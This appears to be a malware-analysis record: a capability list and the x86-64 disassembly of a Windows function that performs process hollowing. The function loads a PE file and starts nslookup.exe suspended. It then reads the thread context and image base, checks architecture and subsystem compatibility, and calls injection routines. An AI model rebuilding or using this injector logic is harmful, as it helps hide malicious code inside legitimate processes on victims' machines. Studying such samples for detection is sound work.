Function at 0x140007140
Capabilities:
Create process on windows
Create process suspended
Get file size
Read file on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x810]
sub rsp, 0x910
mov rax, qword [0x140117080]
xor rax, rsp
mov qword [rbp + 0x800], rax
xor edi, edi
mov qword [rbp + 0x768], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x778], xmm0
lea r8d, [rdi + 0x14]
lea rdx, str.Y19bw738ChRy0W3n.exe
lea rcx, [rbp + 0x768]
call fcn.140014660
nop
mov qword [rbp + 0x748], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x758], xmm0
lea r8d, [rdi + 0x20]
lea rdx, str.C:WindowsSystem32_nslookup.exe
lea rcx, [rbp + 0x748]
call fcn.140014660
lea rax, [rbp + 0x768]
cmp qword [rbp + 0x780], 0x10
cmovae rax, qword [rbp + 0x768]
mov qword [0x1401874b0], rax
lea rax, [rbp + 0x748]
cmp qword [rbp + 0x760], 0x10
cmovae rax, qword [rbp + 0x748]
mov qword [0x1401874c0], rax
mov byte [0x1401860f3], 1
lea rcx, str._PROCESS_HOLLOWING__n
call fcn.1400023c0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [0x1401874b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov r14, 0xffffffffffffffff
cmp rax, r14
jne 0x140007268
lea rcx, str.____An_error_occured_when_trying_to_open_the_PE_file___n
call fcn.1400023c0
mov rcx, r14
jmp 0x1400074f8
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r15d, eax
cmp eax, 0xffffffff
jne 0x14000728f
lea rcx, str.____An_error_occured_when_trying_to_get_the_PE_file_size___n
call fcn.1400023c0
mov rcx, rsi
jmp 0x1400074f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
cmp rax, r14
jne 0x1400072c8
lea rcx, str.____An_error_occured_when_trying_to_allocate_memory_for_the_PE_file_content___n
call fcn.1400023c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
jmp 0x1400074f8
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8d, r15d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140007309
lea rcx, str.____An_error_occured_when_trying_to_read_the_PE_file_content___n
call fcn.1400023c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1400074fe
mov rcx, rbx
jmp 0x1400074f8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1400074fe
mov rdx, rbx
lea rcx, str.___PE_file_content_:_0x_p_n
call fcn.1400023c0
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
je 0x14000735c
lea rcx, str.____The_PE_file_is_not_valid___n
call fcn.1400023c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400074fe
lea rcx, str.___The_PE_file_is_valid._n
call fcn.1400023c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x794], xmm0
movups xmmword [rbp + 0x7a4], xmm0
movups xmmword [rbp + 0x7b4], xmm0
movups xmmword [rbp + 0x7c4], xmm0
movups xmmword [rbp + 0x7d4], xmm0
movups xmmword [rbp + 0x7e4], xmm0
mov dword [rbp + 0x7f4], eax
mov dword [rbp + 0x790], WSAGetLastError
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x790]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov esi, 1
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1401874c0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140007407
lea rcx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
jmp 0x1400074b5
lea rdx, [rbp + 0x740]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x740], edx
je 0x14000754f
mov qword [rbp - 0x80], rdi
mov r8d, 0x2c8
lea rcx, [rbp - 0x5c]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x60], 0x10000b
lea rdx, [rbp - 0x60]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x44]
add edx, 8
mov qword [rsp + 0x20], rdi
mov r9d, 4
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140007486
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
mov rcx, qword [rbp - 0x68]
mov rax, qword [rbp - 0x70]
jmp 0x14000749a
mov eax, dword [rbp + 0x44]
mov qword [rbp - 0x70], rax
mov rcx, qword [rbp - 0x80]
mov qword [rbp - 0x68], rcx
movdqa xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rsp + 0x50], xmm0
test rcx, rcx
je 0x1400074ae
test rax, rax
jne 0x1400075ec
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
call fcn.1400023c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400074de
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400074fe
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r14d
mov r14d, edi
mov rdx, qword [rbp + 0x760]
cmp rdx, 0x10
jb 0x140007830
inc rdx
mov rcx, qword [rbp + 0x748]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000782b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000782b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [rbp - 0x70], rdi
mov r8d, 0x4d0
lea rcx, [rbp + 0x270]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x2a0], 0x10000b
lea rdx, [rbp + 0x270]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x2f8]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400075bc
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x80], xmm0
mov rcx, qword [rbp - 0x78]
mov rax, qword [rbp - 0x80]
jmp 0x1400075d4
mov rax, qword [rbp + 0x2f8]
mov qword [rbp - 0x80], rax
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x78], rcx
movdqa xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rsp + 0x50], xmm0
test rcx, rcx
je 0x1400074ae
test rax, rax
je 0x1400074ae
mov rdx, qword [rsp + 0x50]
lea rcx, str.___Target_Process_PEB_:_0x_p_n
call fcn.1400023c0
mov r15, qword [rsp + 0x58]
mov rdx, r15
lea rcx, str.___Target_Process_Image_Base_:_0x_p_n
call fcn.1400023c0
movsxd rax, dword [rbx + 0x3c]
movzx r12d, word [rax + rbx + 0x18]
mov r13d, 0x10b
lea rax, str.___Source_PE_Image_architecture_:_x64_n
lea rcx, str.___Source_PE_Image_architecture_:_x86_n
cmp r12w, r13w
cmovne rcx, rax
call fcn.1400023c0
lea rcx, str.___Target_PE_Image_architecture_:_x86_n
lea rax, str.___Target_PE_Image_architecture_:_x64_n
cmp dword [rbp + 0x740], 0
cmove rcx, rax
call fcn.1400023c0
cmp r12w, r13w
jne 0x14000767a
cmp dword [rbp + 0x740], 0
jne 0x140007683
lea rcx, str.____Architecture_are_not_compatible___n
call fcn.1400023c0
jmp 0x1400074fe
cmp dword [rbp + 0x740], 0
jne 0x140007669
lea rcx, str.___Architecture_are_compatible___n
call fcn.1400023c0
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rbx + rax + 0x5c]
movzx r13d, cx
mov edx, r13d
lea rcx, str.___Source_Image_subsystem_:_0x_X_n
call fcn.1400023c0
mov rdx, r15
mov rcx, qword [rsp + 0x60]
cmp dword [rbp + 0x740], 0
je 0x1400076c3
call fcn.140006250
jmp 0x1400076c8
call fcn.1400063b0
mov r15d, eax
cmp eax, 0xffffffff
jne 0x1400076dc
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
jmp 0x1400074b5
mov edx, r15d
lea rcx, str.___Target_Process_subsystem_:_0x_X_n
call fcn.1400023c0
cmp r13d, r15d
jne 0x14000781f
lea rcx, str.___Subsytems_are_compatible._n
call fcn.1400023c0
movsxd rax, dword [rbx + 0x3c]
mov r14d, 0x10b
cmp r12w, r14w
jne 0x140007725
mov eax, dword [rax + rbx + 0xa0]
mov esi, edi
test eax, eax
setne sil
test eax, eax
jne 0x14000772f
jmp 0x14000773a
cmp dword [rax + rbx + 0xb0], 0
je 0x140007738
lea rcx, str.___The_source_image_has_a_relocation_table._n
jmp 0x140007741
mov esi, edi
lea rcx, str.___The_source_image_doesnt_have_a_relocation_table._n
call fcn.1400023c0
mov rdx, rbx
lea rcx, [rsp + 0x60]
cmp r12w, r14w
jne 0x1400077b1
test esi, esi
jne 0x1400077aa
call fcn.140006520
test eax, eax
je 0x1400077c3
lea rcx, str.___The_injection_has_succeed___n
call fcn.1400023c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140007791
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140007501
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140007501
call fcn.1400069a0
jmp 0x14000775d
test esi, esi
jne 0x1400077bc
call fcn.140006760
jmp 0x14000775d
call fcn.140006d80
jmp 0x14000775d
lea rcx, str.____The_injection_has_failed___n
call fcn.1400023c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400077f3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140007813
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, 0xffffffffffffffff
jmp 0x140007504
lea rcx, str.____Subsytems_are_not_compatible._n
jmp 0x1400074b5
call fcn.1400dd9e8
movdqa xmm0, xmmword [0x140102850]
movdqu xmmword [rbp + 0x758], xmm0
mov byte [rbp + 0x748], 0
mov rdx, qword [rbp + 0x780]
cmp rdx, 0x10
jb 0x14000788b
inc rdx
mov rcx, qword [rbp + 0x768]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007886
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007886
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400dd9e8
mov eax, r14d
mov rcx, qword [rbp + 0x800]
xor rcx, rsp
call fcn.1400dd200
lea r11, [rsp + 0x910]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret